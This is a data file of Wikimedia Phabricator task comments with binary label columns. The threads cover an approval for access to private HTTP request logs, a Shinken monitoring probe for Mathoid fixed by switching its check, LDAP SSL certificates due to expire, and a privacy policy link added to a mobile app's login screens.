+[[https://gerrit.wikimedia.org/r/220990]]",,,1435789330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485201,Grant access to HTTP request logs,Approved,,,1435787589,,PHID-USER-6t525r54vy5clky5jpys,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+483885,Grant access to HTTP request logs,Tomasz is out on family leave; bumping up to Wes.,,,1435618849,,PHID-USER-2aknafvxpqtbnnzpvtno,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+483882,Grant access to HTTP request logs,"While the three days has passed and there is a patchset pending, this task hasn't yet received mgmt approval from his manager, which appears to be @tfinc.
+
+As such, I've assigned this to Tomasz for his approval.
+
+Tomasz: Once you approve, please place the task up for grabs/unassign it from yourself.  This will have it show up as unassigned and patchset pending for our ops clinic person to pick up and merge.",,,1435618781,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+482094,Grant access to HTTP request logs,"Change 220990 had a related patch set uploaded (by Matanya):
+access: grant Jdouglas access toanalytics-privatedata-users group
+
+[[https://gerrit.wikimedia.org/r/220990]]
+",,,1435270727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+482015,Grant access to HTTP request logs,"The webrequest logs are inherently 'private data' (they contain IP addresses etc.) so hence the name.  But, ja, you will need that to access this data, and being in this group will let you log into stat1002 and run Hive queries.",,,1435266153,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+482012,Grant access to HTTP request logs,"If all I want to do is write Hive jobs, do I still need such high-level access, or can I get something more limited?",,,1435266039,,PHID-USER-2aknafvxpqtbnnzpvtno,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+481862,Grant access to HTTP request logs,James is asking to be in the `analytics-privatedata-users` group.,,,1435256683,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+103595,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Is it just GETting / or something? Couldn't find the config... Production icinga checks /_info
+
+Example of probes failing on labs against the beta cluster:
+
+http://shinken.wmflabs.org/service/deployment-mathoid/Mathoid
+http://shinken.wmflabs.org/service/deployment-sca02/Mathoid
+
+Started falling 6 days ago.
+
+On prod the probe seems to be work since at least 8 days:
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=sca1001&service=mathoid
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=sca1002&service=mathoid
+
+So maybe it is a regression in mathoid :-)",Medium,50.0,1435092147,1435327235.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-xwcetgi75tewz6khspuf,task_description,resolved,True,c3,2,True,False,True,-2,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0
+482475,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,Yuvi has pressed buttons and this now seems fixed.,,,1435327270,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+482474,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Shinken caught up with the change (time is UTC):
+```
+[13:50:35]  <shinken-wm>	RECOVERY - Mathoid on deployment-mathoid is OK: HTTP OK: HTTP/1.1 200 OK - 888 bytes in 0.010 second response time
+[13:51:04]  <shinken-wm>	RECOVERY - Mathoid on deployment-sca02 is OK: HTTP OK: HTTP/1.1 200 OK - 888 bytes in 0.015 second response time
+```
+",,,1435327235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+482450,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,">>! In T103595#1404602, @hashar wrote:
+> It is still falling on labs Shinke
+> 
+> http://shinken.wmflabs.org/service/deployment-mathoid/Mathoid
+> http://shinken.wmflabs.org/service/deployment-sca02/Mathoid
+
+When I log-in there, I can't see any commands being issued at all against Mathoid. Only the //404 Not Found// error, but not associated commands. Have we missed something in the patch and now no command is being used?",,,1435324282,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1
+482430,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"It is still falling on labs Shinke
+
+http://shinken.wmflabs.org/service/deployment-mathoid/Mathoid
+http://shinken.wmflabs.org/service/deployment-sca02/Mathoid",,,1435321745,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+482364,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Change 220954 merged by Yuvipanda:
+Fix Shinken Mathoid probe
+
+[[https://gerrit.wikimedia.org/r/220954]]",,,1435314077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+481994,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Sorry I have missed krenair comment. That works indeed:
+```
+$ curl http://localhost:100hashar@deployment-mathoid:~$ curl http://localhost:10042/_info
+{""name"":""mathoid"",""version"":""0.2.8"",
+""description"":""Render tex to SVG and MathML using MathJax. Based on svgtex."",
+""home"":""https://github.com/wikimedia/mathoid""}
+```",,,1435265214,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+481980,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"@Krenair is right, the check needs to be changed to `GET /_info`, that happened with Mathoid's adoption of the #service-template-node",,,1435264405,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0
+481954,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Seems Mathoid changed recently and no more honors `GET /` and now requires a POST and the `q` parameter.  That breaks the Shinken probe on beta.   Prod not impacted yet since I guess Mathoid hasn't been updated yet.
+
+https://gerrit.wikimedia.org/r/220954 migrates to use a POST request :-}
+",,,1435263097,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+481952,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Change 220954 had a related patch set uploaded (by Hashar):
+Fix Shinken Mathoid probe
+
+[[https://gerrit.wikimedia.org/r/220954]]
+",,,1435262793,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+481946,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,Huh. Not sure how I missed that service definition in shinken.cfg. Can we make it GET /_info like prod?,,,1435262563,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+481939,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"In operations/puppet.git `modules/beta/files/shinken.cfg` define the check as:
+```
+define service {
+    service_description         Mathoid
+    hostgroup_name              role::mathoid
+    use                         generic-service
+    check_command               check_http_on_port!10042
+}   
+```
+
+In `modules/nagios_common/files/checkcommands.cfg` the command is defined as:
+```
+$USER1$/check_http -H $HOSTADDRESS$ -p $ARG1$
+```
+
+check_http does a simple ""GET /"" but Mathoid only handles POST with a q parameter (from README file). Hence on deployment-mathoid:
+```
+$ curl --verbose http://localhost:10042/
+> GET / HTTP/1.1
+< HTTP/1.1 404 Not Found
+```
+
+But passing some data:
+```
+$ curl --verbose --data 'q=a+b' http://localhost:10042/
+> POST / HTTP/1.1
+< HTTP/1.1 200 OK
+{""mml"":""<math....
+$
+```
+
+So we would need a new check command that does a POST such as:
+```
+define command {
+    command_name    check_mathoid
+    command_line    $USER1/check_http --post=""q=a+b"" -H $HOSTADDRESS$ -p $ARG1$
+```
+
+And done.
+
+",,,1435262467,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+103590,SSL certificates on LDAP servers expiring 2015-09-20,"hosts: nembus, neptunium
+services: ldap-codfw, ldap-eqiad
+
+SSL CRITICAL - Certificate ldap-codfw.wikimedia.org valid until 2015-09-20 19:36:03 +0000 (expires in 88 days) 
+SSL CRITICAL - Certificate ldap-eqiad.wikimedia.org valid until 2015-09-20 19:41:02 +0000 (expires in 88 days) 
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=nembus&service=Certificate+expiration
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neptunium&service=Certificate+expiration
+
+refs: T84751 , rOPUP4d22373aa41d4ceb9535a495dc167e5e55124cb8, rOPUP0ec73b9075e29b5b9b92abe31a576c23dbd556c0",Medium,50.0,1435090296,1449172123.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_description,resolved,True,c3,2,True,True,False,-2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+572499,SSL certificates on LDAP servers expiring 2015-09-20,the linked RT ticket is closed as Robh pointed out and certs are valid until 2016-10-20 ,,,1449172123,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+512548,SSL certificates on LDAP servers expiring 2015-09-20,https://rt.wikimedia.org/Ticket/Display.html?id=9504,,,1440186753,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+512545,SSL certificates on LDAP servers expiring 2015-09-20,"12:38 < icinga-wm> PROBLEM - Certificate expiration on nembus is CRITICAL: SSL CRITICAL - Certificate ldap-codfw.wikimedia.org valid until 2015-09-20 19:36:03 +0000 
+                   (expires in 29 days)
+12:43 < icinga-wm> PROBLEM - Certificate expiration on neptunium is CRITICAL: SSL CRITICAL - Certificate ldap-eqiad.wikimedia.org valid until 2015-09-20 19:41:02 +0000 
+                   (expires in 29 days)
+",,,1440186203,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+511377,SSL certificates on LDAP servers expiring 2015-09-20,raising up to normal since the date is getting closer,,,1440034588,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0
+480287,SSL certificates on LDAP servers expiring 2015-09-20,"priority low for now, should raise when date gets closer, but it's a monitoring critical now due to thresholds",,,1435090388,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+103201,Add a link to the Privacy Policy from the Login and Create Account screens.,"This is to increase the likelihood of the user reading the privacy policy. App stores generally already link to the privacy policy, but this is giving the user another chance before entering their credentials into the Login or Create Account fields.",Medium,50.0,1434757479,1437480021.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-pl5e4g7l6amwdvev4twm,task_description,resolved,True,c3,2,True,False,True,-2,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+487566,Add a link to the Privacy Policy from the Login and Create Account screens.,Signed off by Design,,,1436224473,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+487565,Add a link to the Privacy Policy from the Login and Create Account screens.,"Examined on Nexus 4, Android 5.1.1",,,1436224465,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+487561,Add a link to the Privacy Policy from the Login and Create Account screens.,,,,1436224048,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+487559,Add a link to the Privacy Policy from the Login and Create Account screens.,,,,1436224037,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+487558,Add a link to the Privacy Policy from the Login and Create Account screens.,Kindly add screenshots for mobile device.,,,1436224017,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+482048,Add a link to the Privacy Policy from the Login and Create Account screens.,"Checked with 2.0.103-alpha-2015-06-25 on Samsung Tablet Ce0168(Android 4.0.4
+{F183594}",,,1435268044,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+480414,Add a link to the Privacy Policy from the Login and Create Account screens.,"Change 220133 merged by jenkins-bot:
+Add link to privacy policy in Login and Create Account screens.
+
+[[https://gerrit.wikimedia.org/r/220133]]",,,1435099853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+479926,Add a link to the Privacy Policy from the Login and Create Account screens.,"Change 220133 had a related patch set uploaded (by Dbrant):
+Add link to privacy policy in Login and Create Account screens.
+
+[[https://gerrit.wikimedia.org/r/220133]]
+",,,1435067497,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+478807,Add a link to the Privacy Policy from the Login and Create Account screens.,"Looping in Vibha… I'd like her to have input on placing new buttons / links within the app before we go too far.
+
+Like Android, killing the splash screen on launch is something we want to do on iOS as well. Slowing down the user before they can use the app is a pretty big UX anti-pattern. 
+
+However, I think we can add a link to the Privacy Policy to the login/sign up screen as @dbrant suggests, so when user does try to create an account or log in. That is a pretty standard place to put a privacy policy and don't think would be too much of an issue. 
+
+",,,1434917377,,PHID-USER-zuzwi67gyuz7wfxvuerx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-2,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+478424,Add a link to the Privacy Policy from the Login and Create Account screens.,"@dr0ptp4kt, On the Android side, we were planning on no longer displaying the splash screen (T102482), since we're not currently focusing on driving contributions and editors in the app. Would it be acceptable to display a link to the privacy policy on the Login and Create Account screens?",,,1434765386,,PHID-USER-pbvnfgskfwsdalhpd7np,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,1,0,0
